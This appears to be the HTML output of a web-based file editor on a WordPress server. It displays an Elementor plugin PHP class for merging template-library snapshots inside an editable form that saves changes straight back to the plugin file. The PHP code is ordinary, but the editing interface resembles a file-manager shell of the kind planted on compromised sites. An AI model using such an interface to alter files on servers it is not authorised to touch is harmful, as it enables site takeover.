<h2>File Contents: /home/planet5/www/wp-content/plugins/elementor/core/utils/template-library-snapshot-processor.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/elementor/core/utils/template-library-snapshot-processor.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

namespace Elementor\Core\Utils;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

abstract class Template_Library_Snapshot_Processor {

	abstract protected function get_item_prefix(): string;
	abstract protected function get_max_items(): int;
	abstract protected function can_access_repository(): bool;
	abstract protected function load_current_data(): array;
	abstract protected function parse_incoming_snapshot( array $snapshot ): ?array;
	abstract protected function get_incoming_items( array $parsed_snapshot ): array;
	abstract protected function count_current_items( array $items ): int;
	/**
	 * @param array $data {
	 *     @type array $updated_items All items (existing + new) after processing.
	 *     @type array $new_items     Only the newly added items.
	 *     @type array $order         The updated order of all items.
	 * }
	 * @param array $metadata The original data from load_current_data().
	 */
	abstract protected function save_data( array $data, array $metadata ): array;

	protected function normalize_for_comparison( array $item ): array {
		return $item;
	}

	protected function is_matching_item( array $existing_item, array $incoming_item ): bool {
		return Template_Library_Import_Export_Utils::items_equal_ignoring_keys(
			$this-&gt;normalize_for_comparison( $existing_item ),
			$incoming_item,
			[]
		);
	}

	protected function get_empty_result(): array {
		return [
			&#039;id_map&#039; =&gt; [],
			&#039;ids_to_flatten&#039; =&gt; [],
		];
	}

	public function merge_and_get_id_map( array $snapshot ): array {
		if ( ! $this-&gt;can_access_repository() ) {
			return $this-&gt;get_empty_result();
		}

		$parsed = $this-&gt;parse_incoming_snapshot( $snapshot );
		if ( null === $parsed ) {
			return $this-&gt;get_empty_result();
		}

		$current = $this-&gt;load_current_data();
		$current_items = $current[&#039;items&#039;] ?? [];
		$existing_labels = Template_Library_Import_Export_Utils::extract_labels( $current_items );
		$label_to_id = Template_Library_Import_Export_Utils::build_label_to_id_index( $current_items );

		$id_map = [];
		$ids_to_flatten = [];
		$new_items = [];
		$updated_items = $current_items;
		$existing_ids = array_fill_keys( array_keys( $updated_items ), true );
		$updated_order = $current[&#039;order&#039;] ?? [];

		$incoming_items = $this-&gt;get_incoming_items( $parsed );
		foreach ( $incoming_items as $incoming_id =&gt; $incoming_item ) {
			if ( empty( $incoming_item ) ) {
				continue;
			}

			$incoming_label = $incoming_item[&#039;label&#039;] ?? null;
			$matching_id = is_string( $incoming_label ) ? ( $label_to_id[ $incoming_label ] ?? null ) : null;

			if ( null !== $matching_id &amp;&amp; isset( $updated_items[ $matching_id ] ) ) {
				$is_same = $this-&gt;is_matching_item( $updated_items[ $matching_id ], $incoming_item );

				if ( $is_same ) {
					if ( $matching_id !== $incoming_id ) {
						$id_map[ $incoming_id ] = $matching_id;
					}
					continue;
				}
			}

			if ( $this-&gt;count_current_items( $updated_items ) &gt;= $this-&gt;get_max_items() ) {
				$ids_to_flatten[] = $incoming_id;
				continue;
			}

			if ( null !== $matching_id &amp;&amp; isset( $updated_items[ $matching_id ] ) ) {
				$target_id = Template_Library_Import_Export_Utils::generate_unique_id(
					array_keys( $updated_items ),
					$this-&gt;get_item_prefix()
				);
			} elseif ( isset( $existing_ids[ $incoming_id ] ) ) {
				$target_id = Template_Library_Import_Export_Utils::generate_unique_id(
					array_keys( $updated_items ),
					$this-&gt;get_item_prefix()
				);
			} else {
				$target_id = $incoming_id;
			}

			if ( $target_id !== $incoming_id ) {
				$id_map[ $incoming_id ] = $target_id;
			}

			$this-&gt;add_item_with_label(
				$incoming_item,
				$target_id,
				$updated_items,
				$existing_ids,
				$existing_labels,
				$updated_order,
				$new_items
			);

			$new_label = $updated_items[ $target_id ][&#039;label&#039;] ?? null;
			if ( is_string( $new_label ) &amp;&amp; ! isset( $label_to_id[ $new_label ] ) ) {
				$label_to_id[ $new_label ] = $target_id;
			}
		}

		$saved_result = $this-&gt;save_data( [
			&#039;updated_items&#039; =&gt; $updated_items,
			&#039;new_items&#039; =&gt; $new_items,
			&#039;order&#039; =&gt; $updated_order,
		], $current );

		return array_merge($this-&gt;get_empty_result(), [
			&#039;id_map&#039; =&gt; $id_map,
			&#039;ids_to_flatten&#039; =&gt; $ids_to_flatten,
		], $saved_result);
	}

	public function create_all_as_new( array $snapshot ): array {
		return $this-&gt;process_snapshot($snapshot, function ( $incoming_id, $incoming_item, $updated_items ) {
			return Template_Library_Import_Export_Utils::generate_unique_id( array_keys( $updated_items ), $this-&gt;get_item_prefix() );
		});
	}

	protected function process_snapshot( array $snapshot, callable $id_strategy ): array {
		if ( ! $this-&gt;can_access_repository() ) {
			return $this-&gt;get_empty_result();
		}

		$parsed = $this-&gt;parse_incoming_snapshot( $snapshot );
		if ( null === $parsed ) {
			return $this-&gt;get_empty_result();
		}

		$current = $this-&gt;load_current_data();
		$current_items = $current[&#039;items&#039;] ?? [];
		$existing_labels = Template_Library_Import_Export_Utils::extract_labels( $current_items );

		$id_map = [];
		$ids_to_flatten = [];
		$new_items = [];
		$updated_items = $current_items;
		$existing_ids = array_fill_keys( array_keys( $updated_items ), true );
		$updated_order = $current[&#039;order&#039;] ?? [];

		$incoming_items = $this-&gt;get_incoming_items( $parsed );

		foreach ( $incoming_items as $incoming_id =&gt; $incoming_item ) {
			if ( empty( $incoming_item ) ) {
				continue;
			}

			if ( $this-&gt;count_current_items( $updated_items ) &gt;= $this-&gt;get_max_items() ) {
				$ids_to_flatten[] = $incoming_id;
				continue;
			}

			$target_id = $id_strategy( $incoming_id, $incoming_item, $updated_items, $existing_ids );

			if ( null === $target_id ) {
				continue;
			}

			if ( $target_id !== $incoming_id ) {
				$id_map[ $incoming_id ] = $target_id;
			}

			$this-&gt;add_item_with_label(
				$incoming_item,
				$target_id,
				$updated_items,
				$existing_ids,
				$existing_labels,
				$updated_order,
				$new_items
			);
		}

		$saved_result = $this-&gt;save_data( [
			&#039;updated_items&#039; =&gt; $updated_items,
			&#039;new_items&#039; =&gt; $new_items,
			&#039;order&#039; =&gt; $updated_order,
		], $current );

		return array_merge($this-&gt;get_empty_result(), [
			&#039;id_map&#039; =&gt; $id_map,
			&#039;ids_to_flatten&#039; =&gt; $ids_to_flatten,
		], $saved_result);
	}

	protected function add_item_with_label( array $item, string $target_id, array &amp;$updated_items, array &amp;$existing_ids, array &amp;$existing_labels, array &amp;$updated_order, array &amp;$new_items ): void {
		$item = $this-&gt;prepare_item_for_save( $item, $target_id );
		$item = Template_Library_Import_Export_Utils::apply_unique_label( $item, $existing_labels );
		$updated_items[ $target_id ] = $item;
		$new_items[ $target_id ] = $item;
		$existing_ids[ $target_id ] = true;

		if ( ! in_array( $target_id, $updated_order, true ) ) {
			$updated_order[] = $target_id;
		}
	}

	protected function prepare_item_for_save( array $item, string $target_id ): array {
		return $item;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fwp-content%2Fplugins%2Felementor%2Fcore%2Futils'>⬅ Back to Directory</a>